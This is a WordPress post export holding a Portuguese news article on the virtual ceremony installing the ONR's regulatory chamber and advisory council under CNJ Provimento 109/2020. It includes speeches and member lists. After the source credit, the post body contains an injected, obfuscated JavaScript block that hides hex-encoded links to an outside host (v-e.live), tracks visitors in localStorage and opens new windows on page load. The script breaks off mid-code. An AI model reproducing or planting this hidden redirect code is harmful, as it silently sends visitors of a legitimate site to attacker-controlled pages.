{"id":19171,"date":"2020-11-20T18:07:48","date_gmt":"2020-11-20T22:07:48","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=19171"},"modified":"2020-11-20T18:07:48","modified_gmt":"2020-11-20T22:07:48","slug":"colegiados-do-onr-definidos-pelo-provimento-cn-cnj-109-2020-sao-instalados-simultaneamente-em-solenidade-virtual","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/colegiados-do-onr-definidos-pelo-provimento-cn-cnj-109-2020-sao-instalados-simultaneamente-em-solenidade-virtual\/","title":{"rendered":"Colegiados do ONR, definidos pelo Provimento CN-CNJ 109\/2020, s\u00e3o instalados simultaneamente em solenidade virtual"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Na manh\u00e3 do dia 17 de novembro de 2020, a partir das 11h.30min., ocorreu a instala\u00e7\u00e3o simult\u00e2nea de dois colegiados da Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registro, criada pela <a href=\"http:\/\/kollsys.org\/pjg\">Portaria CN-CNJ 53\/2020<\/a>, nomeando os integrantes da C\u00e2mara de Regula\u00e7\u00e3o do Agente Regulador do ONR (<a href=\"http:\/\/kollsys.org\/pkd\">Portaria CN-CNJ 55\/2020<\/a>, de 22\/10) e designando os membros do Conselho Consultivo do Agente Regulador do Operador Nacional do Registro Imobili\u00e1rio Eletr\u00f4nico (<a href=\"http:\/\/kollsys.org\/pln\">Portaria CN-CNJ 57\/2020<\/a>, de 4\/11).<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/images\/2020_11_17%20-%20CNJ.jpg\" width=\"746\" height=\"497\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A cerim\u00f4nia ocorreu com a participa\u00e7\u00e3o de in\u00fameros registradores e autoridades de todo o pa\u00eds, tendo sido presidida pela Ministra Maria Thereza de Assis Moura, com a coordena\u00e7\u00e3o dos trabalhos feita pelo Desembargador Marcelo Martins Berthe.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Em solenidade virtual, a ministra Corregedora Nacional oficializou as duas inst\u00e2ncias definidas pelo <a href=\"http:\/\/kollsys.org\/pjf\">Provimento CN-CNJ 109<\/a>, de 14 de outubro de 2020, dando concretude ao disposto na\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2017\/lei\/l13465.htm\">Lei 13.465, de 2017<\/a>, que atribuiu \u00e0 Corregedoria Nacional de Justi\u00e7a (CNJ) a regula\u00e7\u00e3o do ONR, \u00f3rg\u00e3o dos registradores que tem a incumb\u00eancia de implantar e operar o Sistema de Registro Eletr\u00f4nico de Im\u00f3veis (SREI) em todo o pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cAo assumir a Corregedoria Nacional, entendi por bem enfatizar o apoio \u00e0 atividade extrajudicial no \u00e2mbito do Conselho Nacional de Justi\u00e7a. E o fiz disciplinando a atua\u00e7\u00e3o da rec\u00e9m-criada Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registros, nos termos da <a href=\"http:\/\/kollsys.org\/pjg\">Portaria CN-CNJ 53\/2020<\/a>, mediante o estabelecimento quatro eixos, cada qual afeto \u00e0s principais \u00e1reas de atua\u00e7\u00e3o, a saber: processual, agente regulador, fiscaliza\u00e7\u00e3o\/regula\u00e7\u00e3o e institucional\u201d explicou a ministra.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/images\/Imagem3rdx(1).jpg\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cO eixo \u2018Agente Regulador\u2019 prev\u00ea o funcionamento, no \u00e2mbito da Corregedoria Nacional de Justi\u00e7a, de uma Secretaria Executiva, que ser\u00e1 subsidiada pela C\u00e2mara de Regula\u00e7\u00e3o e pelo Conselho Consultivo\u201d, completou.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0\u201cN\u00f3s estamos vivendo um dia important\u00edssimo, hist\u00f3rico e alegre, porque n\u00f3s conseguimos dar mais um passo nessa jornada \u2013 que j\u00e1 n\u00e3o \u00e9 pequena, que vem de longe \u2013 na constru\u00e7\u00e3o do Registro de Im\u00f3veis Eletr\u00f4nico\u201d (Marcelo Martins Berthe).<\/strong><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/images\/Imagem4rdx(1).jpg\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O juiz auxiliar da Corregedoria Nacional de Justi\u00e7a, o desembargador paulista Marcelo Martins Berthe, conduziu os trabalhos, fazendo a apresenta\u00e7\u00e3o dos componentes dos dois \u00f3rg\u00e3os. \u201cN\u00f3s estamos vivendo um dia important\u00edssimo, hist\u00f3rico e alegre, porque n\u00f3s conseguimos dar mais um passo nessa jornada \u2013 que j\u00e1 n\u00e3o \u00e9 pequena, que vem de longe \u2013 na constru\u00e7\u00e3o do Registro de Im\u00f3veis Eletr\u00f4nico\u201d, destacou. Berthe refor\u00e7ou, ainda, que a instala\u00e7\u00e3o da C\u00e2mara de Regula\u00e7\u00e3o e do Conselho Consultivo era um passo imprescind\u00edvel para dar cumprimento \u00e0 Lei 13.465\/2017 e para organizar a atividade da CNJ como agente regulador do ONR, tal e como previsto expressamente na lei. \u201cA ideia \u00e9 fazer isso de uma forma colegiada\u201d, disse. Contando com personalidades que ostentam conhecimentos interdisciplinares, pessoas de not\u00e1vel saber, conseguimos \u201cque viessem prestar esse servi\u00e7o volunt\u00e1rio, considerado de relevante interesse p\u00fablico, e que todos aceitaram prontamente com tanta boa vontade\u201d, disse.<\/p>\n<p><strong>\u00a0 \u00a0 \u00a0\u201cN\u00f3s estamos assentados sobre os ombros de gigantes\u201d (Flauzilino Ara\u00fajo dos Santos)<\/strong><\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/images\/flauzilino2rdx(1).jpg\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O presidente do ONR, Flauzilino Ara\u00fajo dos Santos, ao se dirigir aos presentes e aos componentes dos \u00f3rg\u00e3os rec\u00e9m instalados, resgatou a ideia de que teremos chegado a este ponto porque \u201cestamos assentados sobre os ombros de gigantes\u201d\u00a0 \u2013 <em>nanos gigantum humeris incidentes<\/em>. \u201cComo presidente do ONR, diante dos senhores e das senhoras, eu tenho essa sensa\u00e7\u00e3o que vem com a convic\u00e7\u00e3o de que n\u00f3s alcan\u00e7aremos os objetivos que foram tra\u00e7ados, inicialmente, pelo CNJ e, depois, pela pr\u00f3pria\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2017\/lei\/l13465.htm\">Lei 13.465 de 2017<\/a>, ao instituir o ONR com esse objetivo ambicioso do legislador e tamb\u00e9m dos registradores \u2013 e, por \u00f3bvio, de toda a sociedade brasileira, do mercado, da administra\u00e7\u00e3o p\u00fablica, do poder judici\u00e1rio \u2013 que \u00e9 interligar os mais de tr\u00eas mil cart\u00f3rios de Registro de Im\u00f3veis do territ\u00f3rio nacional. N\u00f3s temos localidades com problemas cont\u00ednuos no fornecimento de energia el\u00e9trica, com problemas de banda, de acesso \u00e0 internet, e n\u00f3s acreditamos que \u00e9 poss\u00edvel superar esses obst\u00e1culos e levar o Registro Eletr\u00f4nico para todos os cart\u00f3rios de todas as cidades e localidades do Brasil\u201d, afirmou. Ainda assim, o presidente demonstrou seu \u00e2nimo com sua miss\u00e3o: \u201cme sinto fortalecido ao encarar esse desafio contemplando os senhores aqui nesse v\u00eddeo e, certamente, n\u00f3s realizaremos essa grande obra para o Brasil com reflexos no bem-estar dos brasileiros\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong>Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registro<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registro (CONR) funcionar\u00e1 no \u00e2mbito da Corregedoria Nacional de Justi\u00e7a como Secretaria Executiva do Agente Regulador do Operador Nacional do Sistema de Registro Eletr\u00f4nico de Im\u00f3veis (ONR).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A CONR tem entre suas atribui\u00e7\u00f5es, entre outras, promover a organiza\u00e7\u00e3o das unidades do servi\u00e7o de notas e registro em funcionamento nas unidades federativas, promover o aprimoramento, a padroniza\u00e7\u00e3o e o nivelamento dos servi\u00e7os notariais e de registro, bem como das atividades em geral atribu\u00eddas aos not\u00e1rios e registradores que prestem os servi\u00e7os por delega\u00e7\u00e3o do Poder P\u00fablico (<a href=\"http:\/\/kollsys.org\/pjg\">Portaria CN-CNJ 53\/2020<\/a>, de 15 de outubro).<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Agente Regulador do ONR \u00e9 composto pela Secretaria Executiva, pela C\u00e2mara de Regula\u00e7\u00e3o e pelo Conselho Consultivo.<\/p>\n<p style=\"text-align: justify;\"><strong>C\u00e2mara de Regula\u00e7\u00e3o<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A C\u00e2mara de Regula\u00e7\u00e3o foi institu\u00edda pelo <a href=\"http:\/\/kollsys.org\/pjf\">Provimento CN-CNJ 109\/2020<\/a>, de 14 de outubro. Compete \u00e0 C\u00e2mara de Regula\u00e7\u00e3o discutir e deliberar sobre todas as atividades do Agente Regulador, especialmente disciplinar, regular e fiscalizar as atividades relacionadas \u00e0 implementa\u00e7\u00e3o e \u00e0 opera\u00e7\u00e3o do SREI pelo ONR, propondo diretrizes nacionais para o funcionamento do organismo, zelar pelo cumprimento do seu estatuto e pelo alcance de suas finalidades, avaliar e aprovar minutas de Instru\u00e7\u00f5es T\u00e9cnicas de Normaliza\u00e7\u00e3o (ITN) aplic\u00e1veis ao SREI e que sejam propostas pelo ONR, al\u00e9m de outras atribui\u00e7\u00f5es previstas nos artigos 4\u00ba e 5\u00ba do dito\u00a0<a href=\"http:\/\/kollsys.org\/pjf\">Provimento<\/a>.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Em sua composi\u00e7\u00e3o, figuram sete magistrados, consoante disposto na <a href=\"http:\/\/kollsys.org\/pkd\">Portaria CN-CNJ 55\/2020<\/a>, de 22 de outubro: os desembargadores do Tribunal de Justi\u00e7a de S\u00e3o Paulo, Lu\u00eds Paulo Aliende Ribeiro e Marcelo Fortes Barbosa Filho; o juiz do Tribunal de Justi\u00e7a do Rio Grande do Sul, Felipe S\u00f3 dos Santos Lumertz; a ju\u00edza do Tribunal de Justi\u00e7a do Par\u00e1, Katia Parente Sena; os ju\u00edzes auxiliares da Presid\u00eancia do CNJ, Valter Shuenquener de Ara\u00fajo e Anderson de Paiva Gabriel; os ju\u00edzes auxiliares da Corregedoria Nacional de Justi\u00e7a, Marcelo Martins Berthe, Gabriel da Silveira Matos e Daniel Marchionatti Barbosa.<\/p>\n<p style=\"text-align: justify;\"><strong>Conselho Consultivo<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0J\u00e1 o Conselho Consultivo tem por miss\u00e3o planejar e propor diretrizes para o funcionamento do ONR, al\u00e9m de sugerir estrat\u00e9gias e formular propostas em geral, a fim de que sejam apreciadas pela C\u00e2mara de Regula\u00e7\u00e3o do Agente Regulador do ONR, sempre visando aos seus fins estatut\u00e1rios. O Conselho \u00e9 integrado por autoridades com not\u00f3rio saber nas \u00e1reas do direito registral imobili\u00e1rio, da administra\u00e7\u00e3o, da gest\u00e3o estrat\u00e9gica e da tecnologia da informa\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Conselho Consultivo do Agente Regulador ser\u00e1 integrado por nove membros que foram designados pela Sra. Corregedora Nacional de Justi\u00e7a por meio da <a href=\"http:\/\/kollsys.org\/pln\">Portaria CN-CNJ 57\/2020<\/a>, de 4 de novembro. S\u00e3o eles: o desembargador do Tribunal de Justi\u00e7a de Alagoas e Corregedor, Fernando Tourinho de Omena Souza; o desembargador do Tribunal de Justi\u00e7a de S\u00e3o Paulo, Francisco Eduardo Loureiro; a ju\u00edza auxiliar da Corregedoria Nacional de Justi\u00e7a, Maria Paula Cassone Rossi.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Al\u00e9m dos magistrados, foram indicados tr\u00eas registradores: o oficial titular do 2\u00ba Registro de Im\u00f3veis de An\u00e1polis (GO), \u00c2ngelo Barbosa Lovis; o oficial titular do Registro de Im\u00f3veis de S\u00e3o Bento do Sul (SC), Miguel \u00c2ngelo Zanino Ortale e o oficial titular do 5\u00ba Registro de Im\u00f3veis de S\u00e3o Paulo (SP) e presidente do IRIB, S\u00e9rgio Jacomino.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Completando o elenco, foram convidados tr\u00eas membros oriundos da \u00e1rea acad\u00eamica: o professor da Faculdade de Direito da Pontif\u00edcia Universidade Cat\u00f3lica de S\u00e3o Paulo (PUC-SP), Dr. Andr\u00e9 Luiz Freire; o professor da Faculdade de Direito da Universidade de S\u00e3o Paulo (USP), Dr. Celso Fernandes Campilongo; o pesquisador do Centro de Estudos do Governo e professor da Escola da Magistratura do Rio de Janeiro, Cl\u00e1udio Muniz Machado Cavalcanti.<\/p>\n<p style=\"text-align: justify;\"><strong>IRIB e seu protagonismo na consagra\u00e7\u00e3o do ONR<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O IRIB e o seu presidente foram os autores do pedido de regulamenta\u00e7\u00e3o do art. 76 da Lei 13.465\/2017 deduzido perante a Corregedoria Nacional de Justi\u00e7a no dia 3 de fevereiro de 2017, tendo sido autuado no PP 0000665-50.2017.2.00.0000.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A partir da\u00ed e ao longo desses anos todos, S\u00e9rgio Jacomino lutou com todas as suas for\u00e7as para concretizar o projeto do SREI que se iniciou no ano de 2010, sob os ausp\u00edcios e coordena\u00e7\u00e3o do pr\u00f3prio CNJ. \u201cOs obst\u00e1culos, resist\u00eancias, incompreens\u00f5es, foram sendo vencidos arduamente pela atua\u00e7\u00e3o da diretoria do Instituto de Registro de Im\u00f3veis do Brasil, pelo apoio de centenas de colegas de v\u00e1rias partes do pa\u00eds, e, especialmente, pela atua\u00e7\u00e3o firme e decidida da Corregedoria Nacional de Justi\u00e7a, que assumiu a tarefa de conduzir o processo de moderniza\u00e7\u00e3o do sistema registral brasileiro, dando-lhe a nota caracter\u00edstica de estatalidade e institucionalidade\u201d, disse.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O presidente do IRIB e membro do Conselho Consultivo do ONR apresentou seus agradecimentos \u00e0 ministra Maria Thereza Assis Moura pela institui\u00e7\u00e3o do Agente Regulador do ONR (<a href=\"http:\/\/kollsys.org\/pjf\">Provimento CN-CNJ 109\/2020<\/a>), ao desembargador Marcelo Martins Berthe pela condu\u00e7\u00e3o da solenidade e dos trabalhos relativos ao Registro Eletr\u00f4nico de Im\u00f3veis, desde o in\u00edcio das discuss\u00f5es sobre o tema, em 2010; ao presidente do ONR, Flauzilino Ara\u00fajo dos Santos, pela dedica\u00e7\u00e3o \u00e0 valoriza\u00e7\u00e3o institucional do Registro de Im\u00f3veis Brasileiro e ao presidente da Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Brasil (Anoreg-BR), Cl\u00e1udio Mar\u00e7al Freire, por ter acreditado e apoiado a iniciativa. \u201cDesejo a todos os meus colegas de Conselho, aos membros da C\u00e2mara de Regula\u00e7\u00e3o, \u00e0 coordena\u00e7\u00e3o da Corregedoria Nacional de Justi\u00e7a um excelente trabalho e me coloco inteiramente \u00e0 disposi\u00e7\u00e3o para contribuir como seja poss\u00edvel\u201d, concluiu.<\/p>\n<p style=\"text-align: justify;\"><strong>Afastamento do Presidente do IRIB do Conselho do ONR<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Convidado a integrar o Conselho Consultivo do CNJ, Sergio Jacomino encaminhou ao presidente do ONR, Flauzilino Ara\u00fajo dos Santos, em 16 de novembro, pedido de afastamento de suas atribui\u00e7\u00f5es como membro do Conselho Consultivo do ONR.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A solicita\u00e7\u00e3o foi deferida no mesmo dia sob o fundamento de \u201ctratar-se de direito potestativo exercido exclusivamente pelo interessado, mediante manifesta\u00e7\u00e3o unilateral de vontade\u201d. O Presidente do ONR submeter\u00e1 aos demais \u00f3rg\u00e3os do ONR, \u201capenas, para efeitos de ci\u00eancia\u201d, j\u00e1 que \u201cque se trata de ato que produz os seus efeitos de forma imediata, sendo desnecess\u00e1ria ulterior delibera\u00e7\u00e3o\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong>A fala da Sra. Corregedora Nacional<\/strong><\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/images\/ministrardx(1).jpg\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Bom dia a todos!<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u00c9 com grande satisfa\u00e7\u00e3o que venho dar boas-vindas aos integrantes do Conselho Consultivo e da C\u00e2mara de Regula\u00e7\u00e3o, institu\u00eddos no \u00e2mbito do Agente Regulador do Operador Nacional do Registro Eletr\u00f4nico de Im\u00f3veis!<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O ONR foi criado pela <a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2017\/lei\/l13465.htm\">Lei Federal 13.465\/2017<\/a>\u00a0e tem por finalidade implementar e operar o SREI \u2013 Sistema de Registro Eletr\u00f4nico de Im\u00f3veis, projeto desenvolvido pelo Conselho Nacional de Justi\u00e7a para implantar no pa\u00eds o servi\u00e7o de registro de im\u00f3veis por meios eletr\u00f4nicos.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A referida <a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2017\/lei\/l13465.htm\">Lei Federal<\/a>\u00a0erigiu a Corregedoria Nacional \u00e0 posi\u00e7\u00e3o de agente regulador do ONR, fun\u00e7\u00e3o que se alinha \u00e0s compet\u00eancias legais e constitucionais do Poder Judici\u00e1rio, que se incumbe, por disposi\u00e7\u00e3o constitucional, da fiscaliza\u00e7\u00e3o dos servi\u00e7os de notas e registro, amoldando-se, tamb\u00e9m, \u00e0s compet\u00eancias da Corregedoria Nacional de Justi\u00e7a, tal como previsto no art. 103-B, \u00a7 5\u00b0, da\u00a0<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/Constituicao\/Emendas\/Emc\/emc45.htm\">Constitui\u00e7\u00e3o Federal<\/a>\u00a0e no art. 8\u00b0 do\u00a0<a href=\"https:\/\/atos.cnj.jus.br\/files\/compilado182017202003205e7509613159c.pdf\">Regimento Interno<\/a>\u00a0do Conselho Nacional de Justi\u00e7a.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Nessa perspectiva, ao assumir a Corregedoria Nacional, entendi por bem enfatizar o apoio \u00e0 atividade extrajudicial no \u00e2mbito do Conselho Nacional de Justi\u00e7a. E o fiz, disciplinando a atua\u00e7\u00e3o da rec\u00e9m-criada Coordenadoria de Gest\u00e3o de Servi\u00e7os Notariais e de Registros, nos termos da <a href=\"http:\/\/kollsys.org\/pjg\">Portaria 53\/2020<\/a>, mediante o estabelecimento quatro eixos, cada qual afeto \u00e0s principais \u00e1reas de atua\u00e7\u00e3o, a saber: processual, agente regulador, fiscaliza\u00e7\u00e3o\/regula\u00e7\u00e3o e institucional.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O eixo Agente Regulador prev\u00ea o funcionamento, no \u00e2mbito da Corregedoria Nacional de Justi\u00e7a, de uma Secretaria Executiva, que ser\u00e1 subsidiada pela C\u00e2mara de Regula\u00e7\u00e3o e pelo Conselho Consultivo.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Assim, em 14 de outubro de 2020 foi publicado o <a href=\"http:\/\/kollsys.org\/pjf\">Provimento 109<\/a>, de modo a disciplinar a atua\u00e7\u00e3o da Corregedoria Nacional de Justi\u00e7a neste segmento.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Esse ato normativo instituiu C\u00e2mara de Regula\u00e7\u00e3o, competindo-lhe discutir e deliberar sobre todas as atividades do Agente Regulador, assim como propor solu\u00e7\u00f5es e a\u00e7\u00f5es para promover os objetivos do ONR.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O <a href=\"http:\/\/kollsys.org\/pjf\">Provimento 109\/2020<\/a>\u00a0prev\u00ea, ainda, o funcionamento do Conselho Consultivo, sem fun\u00e7\u00e3o deliberativa, composto de membros com not\u00f3rio saber nas \u00e1reas do direito registral imobili\u00e1rio, de administra\u00e7\u00e3o e gest\u00e3o estrat\u00e9gica e na de tecnologia da informa\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Este \u00f3rg\u00e3o interno do Agente Regulador ter\u00e1 a fun\u00e7\u00e3o de planejar e propor diretrizes para o funcionamento do ONR, al\u00e9m de sugerir estrat\u00e9gias e formular propostas em geral, a fim de que sejam apreciadas pela C\u00e2mara de Regula\u00e7\u00e3o, sempre visando aos fins estatut\u00e1rios do ONR.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Destaco, por fim, que, ao lado do <a href=\"http:\/\/kollsys.org\/pjf\">Provimento 109\/2020<\/a>, essa tem\u00e1tica foi objeto de destaque, ainda, dentre as diretrizes estrat\u00e9gicas propostas para as Corregedorias-Gerais de Justi\u00e7a dos Estados e Distrito Federal para o ano de 2021, as quais dever\u00e3o: \u201cAssegurar a implementa\u00e7\u00e3o do Sistema de Registro Eletr\u00f4nico de Im\u00f3veis (SREI) em todas as unidades de servi\u00e7os do territ\u00f3rio nacional pelo Operador Nacional do Registro Eletr\u00f4nico de Im\u00f3veis (ONR), e o seu funcionamento em plataforma \u00fanica, com acesso universal, de conformidade com as diretrizes legais e normativas\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Essas medidas traduzem a preocupa\u00e7\u00e3o da Corregedoria Nacional diante de tema t\u00e3o sens\u00edvel, para o que contaremos com o empenho de cada qual do senhores, no exerc\u00edcio do mister de integrar a C\u00e2mara de Regula\u00e7\u00e3o e o Conselho Consultivo, sob a coordena\u00e7\u00e3o dos magistrados auxiliares da Corregedoria Nacional supervisores da Coordenadoria de Gest\u00e3o dos Servi\u00e7os Notariais e de Registro, o Desembargador Marcelo Martins Berthe e a Ju\u00edza Maria Paula Cassone Rossi.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Agradecendo, uma vez mais, a presen\u00e7a de todos e pedindo licen\u00e7a para me retirar a fim de dar seguimento aos outros compromissos assumidos para esta data, declaro instalados o Conselho Consultivo e a C\u00e2mara de Regula\u00e7\u00e3o institu\u00eddos pelo <a href=\"http:\/\/kollsys.org\/pjf\">Provimento 109<\/a>, de 14 de outubro de 2020!<\/p>\n<p><em><strong>Fonte: Irib<\/strong><\/em><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const 